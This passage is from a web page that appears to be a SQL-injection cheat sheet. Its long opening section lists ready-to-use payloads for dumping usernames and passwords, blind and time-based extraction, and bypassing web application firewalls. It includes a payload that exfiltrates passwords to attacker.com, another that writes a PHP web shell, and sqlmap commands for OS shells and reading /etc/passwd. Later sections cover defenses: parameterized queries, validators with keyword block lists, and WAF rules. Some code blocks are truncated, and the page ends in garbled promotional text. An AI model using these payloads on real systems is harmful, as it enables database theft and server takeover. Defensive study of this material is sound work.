‘ UNION SELECT database(),version(),user() —

‘ UNION SELECT @@version,@@datadir,@@hostname —

— Table enumeration

‘ UNION SELECT table_name,table_schema,null FROM information_schema.tables —

‘ UNION SELECT table_name,null,null FROM information_schema.tables WHERE table_schema=database() —

‘ UNION SELECT table_name,table_type,table_comment FROM information_schema.tables —

— Column enumeration

‘ UNION SELECT column_name,data_type,column_comment FROM information_schema.columns WHERE table_name=’users’ —

‘ UNION SELECT column_name,is_nullable,column_default FROM information_schema.columns WHERE table_schema=database() —

— Advanced information gathering

‘ UNION SELECT user(),current_user(),system_user() —

‘ UNION SELECT @@hostname,@@version_comment,@@socket —

‘ UNION SELECT user,host,password FROM mysql.user —

Data Exfiltration Techniques

📊 SQL Data Extraction Patterns

— Basic data extraction

‘ UNION SELECT username,password,email FROM users —

‘ UNION SELECT id,username,password FROM users WHERE role=’admin’ —

‘ UNION SELECT * FROM users WHERE id=1 —

— String concatenation

‘ UNION SELECT CONCAT(username,’:’,password),null,null FROM users —

‘ UNION SELECT CONCAT(first_name,’ ‘,last_name),email,phone FROM users —

‘ UNION SELECT GROUP_CONCAT(username SEPARATOR ‘,’),null,null FROM users —

— Conditional data extraction

‘ UNION SELECT IF(1=1,’admin’,’user’),null,null —

‘ UNION SELECT CASE WHEN 1=1 THEN ‘admin’ ELSE ‘user’ END,null,null —

‘ UNION SELECT username,IF(role=’admin’,’ADMIN’,’USER’),null FROM users —

— Encoded data extraction

‘ UNION SELECT HEX(password),null,null FROM users WHERE id=1 —

‘ UNION SELECT TO_BASE64(sensitive_data),null,null FROM confidential —

‘ UNION SELECT UPPER(password),null,null FROM users —

Blind SQL Injection Payloads

Boolean-Based Blind

🕵️ Blind SQL Injection Patterns

— Basic true/false testing

‘ AND 1=1 —

‘ AND 1=2 —

‘ AND ‘a’=’a —

‘ AND ‘a’=’b —

— Length detection

‘ AND (SELECT LENGTH(password) FROM users WHERE id=1)=8 —

‘ AND (SELECT CHAR_LENGTH(username) FROM users WHERE id=1)>5 —

— Character-by-character extraction

‘ AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)=’a’ —

‘ AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE id=1)>90 —

‘ AND (SELECT MID(password,1,1) FROM users WHERE id=1)=’p’ —

— Table/column existence testing

‘ AND (SELECT COUNT(*) FROM users)>0 —

‘ AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name=’users’)=1 —

‘ AND (SELECT COUNT(*) FROM information_schema.columns WHERE column_name=’password’)>0 —

— Database version detection

‘ AND (SELECT SUBSTRING(@@version,1,1))=’5’ —

‘ AND (SELECT version()) LIKE ‘%MySQL%’ —

‘ AND (SELECT version()) LIKE ‘%PostgreSQL%’ —

Time-Based Blind

⏱️ Time-Based Blind SQL Injection Patterns

— MySQL time-based

‘ AND SLEEP(5) —

‘ AND (SELECT SLEEP(5)) —

‘ AND (SELECT SLEEP(5) FROM users WHERE id=1) —

‘ AND IF(1=1,SLEEP(5),0) —

‘ AND (SELECT IF(SUBSTRING(password,1,1)=’a’,SLEEP(5),0) FROM users WHERE id=1) —

— PostgreSQL time-based

‘ AND pg_sleep(5) —

‘ AND (SELECT pg_sleep(5)) —

‘ AND (SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE 0 END) —

— SQL Server time-based

‘; WAITFOR DELAY ’00:00:05’ —

‘ AND (SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END); WAITFOR DELAY ’00:00:05’ —

‘ IF (1=1) WAITFOR DELAY ’00:00:05’ —

— Oracle time-based

‘ AND (SELECT dbms_lock.sleep(5) FROM dual) —

‘ AND (SELECT CASE WHEN 1=1 THEN dbms_lock.sleep(5) ELSE 0 END FROM dual) —

Advanced Evasion Payloads

WAF Bypass Techniques

🎭 SQL Injection Evasion & Bypass Patterns

— Comment-based evasion

/**/UNION/**/SELECT/**/username,password/**/FROM/**/users–

/*!50000UNION*/ /*!50000SELECT*/ username,password /*!50000FROM*/ users–

/*! UNION */ /*! SELECT */ username,password /*! FROM */ users–

— Case variation

UnIoN SeLeCt username,password FrOm users–

uNiOn sElEcT username,password fRoM users–

— Whitespace evasion

UNION SELECT username,password FROM users–

UNION%20SELECT%20username,password%20FROM%20users–

UNION%0ASELECT%0Ausername,password%0AFROM%0Ausers–

— Encoding evasion

%55%4e%49%4f%4e%20%53%45%4c%45%43%54 (URL encoded UNION SELECT)

\u0055\u004e\u0049\u004f\u004e\u0020\u0053\u0045\u004c\u0045\u0043\u0054 (Unicode)

— Function-based evasion

UNION SELECT CHAR(117,115,101,114,110,97,109,101),password FROM users–

UNION SELECT CONCAT(CHAR(117,115,101,114),CHAR(110,97,109,101)),password FROM users–

— Operator replacement

‘ OR 1=1 AND 1=1 —

‘ OR 1 LIKE 1 —

‘ OR 1 RLIKE 1 —

‘ OR 1 REGEXP 1 —

‘ OR 1 IN (1) —

‘ OR 1 BETWEEN 1 AND 1 —

Advanced Injection Techniques

🔥 Advanced SQL Injection Exploitation Patterns

— Subquery exploitation

‘ AND (SELECT * FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) —

— Error-based extraction

‘ AND (SELECT * FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT user()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) —

— DNS exfiltration

‘ AND (SELECT LOAD_FILE(CONCAT(‘\\\\’, (SELECT password FROM users WHERE id=1), ‘.attacker.com\\share’))) —

— HTTP exfiltration

‘ AND (SELECT LOAD_FILE(CONCAT(‘http://attacker.com/collect.php?data=’, (SELECT password FROM users WHERE id=1)))) —

— File system manipulation

‘ UNION SELECT ‘<?php system($_GET[“cmd”]); ?>’ INTO OUTFILE ‘/var/www/html/shell.php’ —

‘ UNION SELECT password FROM users INTO OUTFILE ‘/tmp/passwords.txt’ —

OWASP SQL Injection Guidelines

OWASP Top 10 2021: A03 – Injection

The Open Web Application Security Project (OWASP) categorizes SQL injection under A03: Injection in their Top 10 2021 list, representing a critical security vulnerability affecting web applications globally.

OWASP Risk Assessment Framework

Threat Agent: External attackers, malicious insiders, automated tools Attack Vector: Web application input fields, APIs, HTTP headers Security Weakness: Insufficient input validation, dynamic query construction Technical Impact: Data breach, authentication bypass, system compromise Business Impact: Financial loss, reputation damage, regulatory compliance violations

Primary Defense Strategies

1. Use of Prepared Statements (Parameterized Queries)

🛡️ Secure SQL Implementation Examples

— Secure Implementation Example

— Instead of: SELECT * FROM users WHERE id = ‘” + userId + “‘

— Use: SELECT * FROM users WHERE id = ?

— With parameter binding: statement.setInt(1, userId)

2. Stored Procedures (When Implemented Correctly)

🛡️ Secure SQL Implementation Examples

— Secure Implementation Example

— Instead of: SELECT * FROM users WHERE id = ‘” + userId + “‘

— Use: SELECT * FROM users WHERE id = ?

— With parameter binding: statement.setInt(1, userId)

— Secure stored procedure example

CREATE PROCEDURE GetUserById(@UserId INT)

BEGIN

SELECT id, username, email FROM users WHERE id = @UserId

END

3. Allow-List Input Validation

✅ SQL Input Validation Example

// Validate against known good values

$allowedSortColumns = [‘id’, ‘username’, ’email’, ‘created_at’];

if (!in_array($sortColumn, $allowedSortColumns)) {

throw new InvalidArgumentException(“Invalid sort column”);

}

4. Escaping All User-Supplied Input

⚠️ SQL Escape String Example

// Last resort – not recommended as primary defense

$escaped = mysqli_real_escape_string($connection, $userInput);

Additional Defense Measures

1. Least Privilege Database Access

🔐 Database User Privileges Example

— Create application-specific database user

CREATE USER ‘webapp_user’@’localhost’ IDENTIFIED BY ‘secure_password’;

— Grant minimum required permissions

GRANT SELECT, INSERT, UPDATE ON webapp.users TO ‘webapp_user’@’localhost’;

GRANT SELECT ON webapp.products TO ‘webapp_user’@’localhost’;

— Explicitly deny dangerous operations

REVOKE FILE ON *.* FROM ‘webapp_user’@’localhost’;

REVOKE PROCESS ON *.* FROM ‘webapp_user’@’localhost’;

2. Allow-List Input Validation

🛡️ Comprehensive Input Validator

class InputValidator {

// Common validation patterns

private static $patterns = [

‘user_id’ => ‘/^[1-9]\d{0,9}$/’,

‘username’ => ‘/^[a-zA-Z0-9_-]{3,20}$/’,

‘alphanumeric’ => ‘/^[a-zA-Z0-9\s]+$/’,

‘safe_string’ => ‘/^[a-zA-Z0-9\s\-_.,!?]+$/’

];

// SQL injection keywords to detect

private static $sql_keywords = [

‘SELECT’, ‘INSERT’, ‘UPDATE’, ‘DELETE’, ‘UNION’, ‘DROP’,

‘CREATE’, ‘ALTER’, ‘EXEC’, ‘EXECUTE’, ‘SCRIPT’

];

public static function validateInput($input, $type, $maxLength = null) {

// Basic null and empty validation

if (empty($input) || $input === null) {

throw new InvalidArgumentException(“Input cannot be empty”);

}

// Length validation

if ($maxLength && strlen($input) > $maxLength) {

throw new InvalidArgumentException(“Input too long”);

}

// Pattern validation

if (isset(self::$patterns[$type])) {

if (!preg_match(self::$patterns[$type], $input)) {

throw new InvalidArgumentException(“Invalid input format”);

}

// SQL injection keyword detection

$upperInput = strtoupper($input);

foreach (self::$sql_keywords as $keyword) {

if (strpos($upperInput, $keyword) !== false) {

throw new SecurityException(“Potentially malicious input detected”);

}

return $input;

}

public static function sanitizeString($input) {

// Remove potential SQL injection characters

$dangerous_chars = [‘\”, ‘”‘, ‘`’, ‘;’, ‘–‘, ‘/*’, ‘*/’, ‘\\’];

$input = str_replace($dangerous_chars, ”, $input);

// HTML entity encoding

$input = htmlspecialchars($input, ENT_QUOTES, ‘UTF-8’);

return trim($input);

}

public static function validateId($id) {

$id = filter_var($id, FILTER_VALIDATE_INT);

if ($id === false || $id <= 0) {

throw new InvalidArgumentException(“Invalid ID format”);

}

return $id;

}

public static function validateEmail($email) {

$email = filter_var($email, FILTER_VALIDATE_EMAIL);

if ($email === false) {

throw new InvalidArgumentException(“Invalid email format”);

}

return $email;

}

JavaScript Input Validation

⚡ JavaScript Client-Side Validator

class ClientSideValidator {

static patterns = {

id: /^[1-9]\d*$/,

username: /^[a-zA-Z0-9_-]{3,20}$/,

email: /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/,

alphanumeric: /^[a-zA-Z0-9\s]+$/,

safeString: /^[a-zA-Z0-9\s\-_.,!?]+$/

};

static sqlKeywords = [

‘SELECT’, ‘INSERT’, ‘UPDATE’, ‘DELETE’, ‘DROP’, ‘CREATE’, ‘ALTER’,

‘UNION’, ‘OR’, ‘AND’, ‘WHERE’, ‘FROM’, ‘INTO’, ‘VALUES’, ‘SET’,

‘EXEC’, ‘EXECUTE’, ‘SCRIPT’, ‘DECLARE’, ‘CAST’, ‘CONVERT’

];

static validateInput(input, type, maxLength = null) {

if (!input || input.trim() === ”) {

throw new Error(‘Input cannot be null or empty’);

}

if (maxLength && input.length > maxLength) {

throw new Error(‘Input exceeds maximum length’);

}

if (this.patterns[type] && !this.patterns[type].test(input)) {

throw new Error(‘Invalid input format’);

}

// SQL injection keyword detection

const upperInput = input.toUpperCase();

for (const keyword of this.sqlKeywords) {

if (upperInput.includes(keyword)) {

throw new Error(‘Potentially malicious input detected’);

}

return input;

}

static sanitizeString(input) {

// Remove dangerous characters

const dangerousChars = [‘\”, ‘”‘, ‘`’, ‘;’, ‘–‘, ‘/*’, ‘*/’, ‘\\’];

dangerousChars.forEach(char => {

input = input.replace(new RegExp(char.replace(/[.*+?^${}()|[\]\\]/g, ‘\\$&’), ‘g’), ”);

});

// HTML entity encoding

const div = document.createElement(‘div’);

div.textContent = input;

return div.innerHTML.trim();

}

3. Stored Procedures Implementation

Stored procedures provide an additional layer of security by encapsulating SQL logic within the database.

MySQL Stored Procedures

🔧 Secure SQL Stored Procedures Examples

— User Authentication Procedure

DELIMITER //

CREATE PROCEDURE AuthenticateUser(

IN p_username VARCHAR(255),

IN p_password VARCHAR(255),

OUT p_user_id INT,

OUT p_role VARCHAR(50),

OUT p_status VARCHAR(20)

)

BEGIN

DECLARE v_password_hash VARCHAR(255);

DECLARE v_active BOOLEAN DEFAULT FALSE;

— Initialize output parameters

SET p_user_id = 0;

SET p_role = ”;

SET p_status = ‘FAILED’;

— Get user information

SELECT id, password_hash, role, active

INTO p_user_id, v_password_hash, p_role, v_active

FROM users

WHERE username = p_username

LIMIT 1;

— Verify user exists and is active

IF p_user_id > 0 AND v_active = TRUE THEN

— In production, use proper password hashing verification

IF v_password_hash = SHA2(CONCAT(p_password, ‘salt’), 256) THEN

SET p_status = ‘SUCCESS’;

— Update last login timestamp

UPDATE users

SET last_login = NOW(),

login_count = login_count + 1

WHERE id = p_user_id;

ELSE

SET p_status = ‘INVALID_PASSWORD’;

END IF;

ELSE

SET p_status = ‘USER_NOT_FOUND’;

END IF;

END //

DELIMITER ;

— Product Search Procedure

DELIMITER //

CREATE PROCEDURE SearchProducts(

IN p_keyword VARCHAR(255),

IN p_category VARCHAR(100),

IN p_limit INT,

IN p_offset INT

)

BEGIN

— Input validation

IF p_limit <= 0 OR p_limit > 100 THEN

SET p_limit = 10;

END IF;

IF p_offset < 0 THEN

SET p_offset = 0;

END IF;

— Secure search query

SELECT

id,

name,

description,

price,

category,

created_at

FROM products

WHERE

(p_keyword IS NULL OR name LIKE CONCAT(‘%’, p_keyword, ‘%’))

AND (p_category IS NULL OR category = p_category)

AND active = TRUE

ORDER BY name

LIMIT p_limit OFFSET p_offset;

END //

DELIMITER ;

SQL Server Stored Procedures

🗄️ SQL Server Stored Procedures Examples

— User Authentication Procedure

CREATE PROCEDURE AuthenticateUser

@Username NVARCHAR(255),

@Password NVARCHAR(255),

@UserId INT OUTPUT,

@Role NVARCHAR(50) OUTPUT,

@Status NVARCHAR(20) OUTPUT

BEGIN

SET NOCOUNT ON;

DECLARE @PasswordHash NVARCHAR(255);

DECLARE @Active BIT;

— Initialize output parameters

SET @UserId = 0;

SET @Role = ”;

SET @Status = ‘FAILED’;

— Get user information

SELECT

@UserId = id,

@PasswordHash = password_hash,

@Role = role,

@Active = active

FROM users

WHERE username = @Username;

— Verify user exists and is active

IF @UserId > 0 AND @Active = 1

BEGIN

— In production, use proper password hashing verification

IF @PasswordHash = HASHBYTES(‘SHA2_256’, @Password + ‘salt’)

BEGIN

SET @Status = ‘SUCCESS’;

— Update last login timestamp

UPDATE users

SET

last_login = GETDATE(),

login_count = login_count + 1

WHERE id = @UserId;

END

ELSE

BEGIN

SET @Status = ‘INVALID_PASSWORD’;

END

ELSE

BEGIN

SET @Status = ‘USER_NOT_FOUND’;

END

END;

— Product Search Procedure

CREATE PROCEDURE SearchProducts

@Keyword NVARCHAR(255),

@Category NVARCHAR(100),

@Limit INT,

@Offset INT

BEGIN

SET NOCOUNT ON;

— Input validation

IF @Limit <= 0 OR @Limit > 100

SET @Limit = 10;

IF @Offset < 0

SET @Offset = 0;

— Secure search query

SELECT

id,

name,

description,

price,

category,

created_at

FROM products

WHERE

(@Keyword IS NULL OR name LIKE ‘%’ + @Keyword + ‘%’)

AND (@Category IS NULL OR category = @Category)

AND active = 1

ORDER BY name

OFFSET @Offset ROWS

FETCH NEXT @Limit ROWS ONLY;

END;

4. Database Security Configuration

Implementing proper database security configurations significantly reduces SQL injection risks.

MySQL Security Configuration

🔒 Database Security Configuration

— Create limited application user

CREATE USER ‘app_user’@’localhost’ IDENTIFIED BY ‘complex_secure_password_2024!’;

— Grant minimum required permissions

GRANT SELECT, INSERT, UPDATE ON application_db.users TO ‘app_user’@’localhost’;

GRANT SELECT, INSERT, UPDATE ON application_db.products TO ‘app_user’@’localhost’;

GRANT SELECT ON application_db.categories TO ‘app_user’@’localhost’;

— Revoke dangerous permissions

REVOKE FILE ON *.* FROM ‘app_user’@’localhost’;

REVOKE PROCESS ON *.* FROM ‘app_user’@’localhost’;

REVOKE SUPER ON *.* FROM ‘app_user’@’localhost’;

REVOKE SHUTDOWN ON *.* FROM ‘app_user’@’localhost’;

— Disable dangerous functions

SET GLOBAL log_bin_trust_function_creators = 0;

SET GLOBAL local_infile = 0;

— Enable query logging for monitoring

SET GLOBAL general_log = ‘ON’;

SET GLOBAL general_log_file = ‘/var/log/mysql/general.log’;

PostgreSQL Security Configuration

🐘 PostgreSQL Security Configuration

— Create limited application user

CREATE USER app_user WITH PASSWORD ‘complex_secure_password_2024!’;

— Grant minimum required permissions

GRANT CONNECT ON DATABASE application_db TO app_user;

GRANT USAGE ON SCHEMA public TO app_user;

GRANT SELECT, INSERT, UPDATE ON users TO app_user;

GRANT SELECT, INSERT, UPDATE ON products TO app_user;

GRANT SELECT ON categories TO app_user;

— Revoke dangerous permissions

REVOKE ALL ON pg_database FROM app_user;

REVOKE ALL ON pg_user FROM app_user;

REVOKE ALL ON pg_shadow FROM app_user;

— Row Level Security (RLS)

CREATE POLICY user_policy ON users FOR ALL TO app_user USING (active = true);

ALTER TABLE users ENABLE ROW LEVEL SECURITY;

— Enable logging for monitoring

ALTER SYSTEM SET log_statement = ‘all’;

ALTER SYSTEM SET log_min_duration_statement = 1000;

SELECT pg_reload_conf();

5. Web Application Firewall (WAF) Implementation

WAF solutions provide real-time protection against SQL injection attacks through pattern recognition and behavioral analysis.

ModSecurity Rule Configuration

SQL Injection Protection Rules

# SQL Injection Protection Rules

SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* “@detectSQLi” \

“id:981242,\

phase:2,\

block,\

capture,\

msg:‘SQL Injection Attack Detected via libinjection’,\

severity:‘CRITICAL’,\

tag:‘attack-sqli'”

# Block common SQL injection patterns

SecRule ARGS “@contains union” \

“id:981243,\

phase:2,\

block,\

msg:‘UNION-based SQL Injection Attack’,\

severity:‘CRITICAL'”

# Block SQL comments

SecRule ARGS “@contains –“ \

“id:981244,\

phase:2,\

block,\

msg:‘SQL Comment Injection Attack’,\

severity:‘HIGH'”

# Block SQL injection keywords

SecRule ARGS “@contains select” \

“id:981245,\

phase:2,\

block,\

msg:‘SQL SELECT Statement Injection’,\

severity:‘CRITICAL'”

AWS WAF Configuration

AWS WAF SQL Injection Protection

{

“Name”: “SQLInjectionProtection”,

“Rules”: [

{

“Name”: “SQLInjectionRule”,

“Priority”: 1,

“Statement”: {

“OrStatement”: {

“Statements”: [

{

“SqliMatchStatement”: {

“FieldToMatch”: {

“AllQueryArguments”: {}

“TextTransformations”: [

{

“Priority”: 1,

“Type”: “URL_DECODE”

{

“Priority”: 2,

“Type”: “HTML_ENTITY_DECODE”

}

]

}

{

“SqliMatchStatement”: {

“FieldToMatch”: {

“Body”: {}

“TextTransformations”: [

{

“Priority”: 1,

“Type”: “URL_DECODE”

{

“Priority”: 2,

“Type”: “HTML_ENTITY_DECODE”

}

]

}

]

}

“Action”: {

“Block”: {}

“VisibilityConfig”: {

“SampledRequestsEnabled”: true,

“CloudWatchMetricsEnabled”: true,

“MetricName”: “SQLInjectionRule”

}

]

}

SQL Injection Testing Methods

1. Manual Testing Methodology

Manual testing provides comprehensive coverage and allows for contextual analysis of vulnerabilities.

Systematic Testing Approach

SQL Injection Testing Phases

Phase 1: Information Gathering

├── Application mapping

├── Technology stack identification

├── Database technology fingerprinting

├── Entry point enumeration

└── Parameter analysis

Phase 2: Vulnerability Discovery

├── Single quote injection testing

├── Boolean logic manipulation

├── Time-based blind testing

├── Error message analysis

└── Union-based testing

Phase 3: Exploitation

├── Authentication bypass

├── Data extraction

├── Privilege escalation

├── File system access

└── Command execution

Phase 4: Impact Assessment

├── Data sensitivity analysis

├── Business impact evaluation

├── Compliance implications

└── Risk scoring

Manual Testing Checklist

SQL Injection Test Payloads

— Basic Injection Tests

‘

”

\’

“

“”

\”

“

— Boolean Logic Tests

‘ OR ‘1’=’1

‘ OR 1=1 —

‘ OR ‘a’=’a

‘ OR TRUE —

admin‘ —

admin‘/*

) OR ‘1’=’1 —

— Time-based Tests (MySQL)

‘ AND SLEEP(5) —

‘; SELECT SLEEP(5) —

‘ AND (SELECT * FROM (SELECT(SLEEP(5)))a) —

— Time-based Tests (PostgreSQL)

‘ AND pg_sleep(5) —

‘; SELECT pg_sleep(5) —

— Time-based Tests (SQL Server)

‘; WAITFOR DELAY ’00:00:05′ —

‘ AND (SELECT * FROM (SELECT(WAITFOR DELAY ’00:00:05′))a) —

— Union-based Tests

‘ UNION SELECT NULL —

‘ UNION SELECT NULL,NULL —

‘ UNION SELECT NULL,NULL,NULL —

‘ UNION SELECT 1,2,3 —

‘ UNION SELECT username,password FROM users —

— Error-based Tests

‘ AND (SELECT * FROM nonexistent_table) —

‘ AND (SELECT COUNT(*) FROM information_schema.tables) —

‘ AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e)) —

2. Automated Testing Tools

SQLMap – Advanced Usage

SQLMap Commands Guide

# Basic vulnerability assessment

sqlmap -u “http://example.com/product.php?id=1” –batch –level=3 –risk=3

# Database enumeration

sqlmap -u “http://example.com/product.php?id=1” –dbs –batch

# Table enumeration

sqlmap -u “http://example.com/product.php?id=1” -D database_name –tables –batch

# Column enumeration

sqlmap -u “http://example.com/product.php?id=1” -D database_name -T users –columns –batch

# Data extraction

sqlmap -u “http://example.com/product.php?id=1” -D database_name -T users –dump –batch

# POST parameter testing

sqlmap -u “http://example.com/login.php” –data=“username=admin&password=pass” –batch

# Cookie parameter testing

sqlmap -u “http://example.com/profile.php” –cookie=“PHPSESSID=abc123; user_id=1” –batch

# Header parameter testing

sqlmap -u “http://example.com/api/user” –headers=“X-API-Key: test123” –batch

# Advanced evasion techniques

sqlmap -u “http://example.com/product.php?id=1” –tamper=space2comment,charencode –batch

# OS command execution

sqlmap -u “http://example.com/product.php?id=1” –os-shell –batch

# File system access

sqlmap -u “http://example.com/product.php?id=1” –file-read=“/etc/passwd” –batch

Burp Suite Professional Testing

Burp Suite SQL Testing Workflow

1. Proxy Configuration

├── Configure browser proxy settings

├── Install Burp certificate

└── Enable intercept mode

2. Application Spidering

├── Automated crawling

├── Manual browsing

└── Scope definition

3. Active Scanning

├── SQL injection module

├── Payload customization

├── Insertion point selection

└── Response analysis

4. Manual Testing

├── Repeater for payload testing

├── Intruder for automated attacks

├── Decoder for payload encoding

└── Comparer for response analysis

5. Reporting

├── Vulnerability classification

├── Evidence compilation

├── Remediation recommendations

└── Risk assessment

Custom Testing Scripts

Python SQL Injection Tester

import requests

import time

import random

from urllib.parse import quote

class SQLInjectionTester:

def __init__(self, target_url, parameter):

self.target_url = target_url

self.parameter = parameter

self.session = requests.Session()

self.session.headers.update({

‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36’

})

def test_error_based(self):

“””Test for error-based SQL injection”””

payloads = [

“‘”,

“\””,

“‘)”,

“\”)\”,

“‘ AND 1=1 –“,

“‘ OR 1=1 –“,

“‘ UNION SELECT NULL –“,

“‘ AND (SELECT * FROM nonexistent_table) –“

]

vulnerabilities = []

for payload in payloads:

params = {self.parameter: payload}

try:

response = self.session.get(self.target_url, params=params, timeout=10)

# Check for SQL error patterns

error_patterns = [

“mysql_fetch_array”,

“ORA-“,

“Microsoft OLE DB Provider”,

“PostgreSQL query failed”,

“SQLite error”,

“syntax error”,

“mysql_num_rows”,

“Warning: pg_”

]

for pattern in error_patterns:

if pattern.lower() in response.text.lower():

vulnerabilities.append({

‘type’: ‘Error-based’,

‘payload’: payload,

‘pattern’: pattern,

‘response_length’: len(response.text)

})

break

except requests.RequestException as e:

print(f”Request failed for payload {payload}: {e}”)

return vulnerabilities

def generate_report(self):

“””Generate comprehensive vulnerability report”””

print(f”Testing SQL Injection on: {self.target_url}”)

print(f”Parameter: {self.parameter}”)

print(“-” * 50)

# Usage example

if __name__ == “__main__”:

tester = SQLInjectionTester(“http://example.com/product.php”, “id”)

tester.generate_report()

PHP SQL Injection

Common PHP Vulnerabilities

1. Legacy MySQL Extension Vulnerabilities

Vulnerable PHP Code Example

// HIGHLY VULNERABLE – Never use in production

$username = $_POST[‘username’];

$password = $_POST[‘password’];

// Direct concatenation – extremely dangerous

$query = “SELECT * FROM users WHERE username = ‘$username‘ AND password = ‘$password‘“;

$result = mysql_query($query);

// Attack example:

// username: admin’ OR ‘1’=’1′ —

// password: anything

// Result: Authentication bypass

2. Insufficient MySQLi Usage

Escaped but Still Vulnerable PHP Code

// VULNERABLE – Escaping is not sufficient

$username = mysqli_real_escape_string($connection, $_POST[‘username’]);

$password = mysqli_real_escape_string($connection, $_POST[‘password’]);

// Still vulnerable to certain attacks

$query = “SELECT * FROM users WHERE username = ‘$username‘ AND password = ‘$password‘“;

$result = mysqli_query($connection, $query);

// Attack example:

// Even with escaping, numeric contexts remain vulnerable

$id = mysqli_real_escape_string($connection, $_GET[‘id’]);

$query = “SELECT * FROM users WHERE id = $id“; // No quotes around $id

// Attack: id=1 OR 1=1

Conclusion

SQL Injection remains a critical threat in modern web security, especially when applications fail to properly handle user input. This cheat sheet is meant to serve as a quick and practical reference for ethical use only — whether you’re performing penetration testing, learning offensive techniques, or hunting bugs. Use it responsibly, and always test within legal and authorized environments.

Core Nexis

Start your decenterlized feature bost your business with NextZen technoloy.

Leave a Comment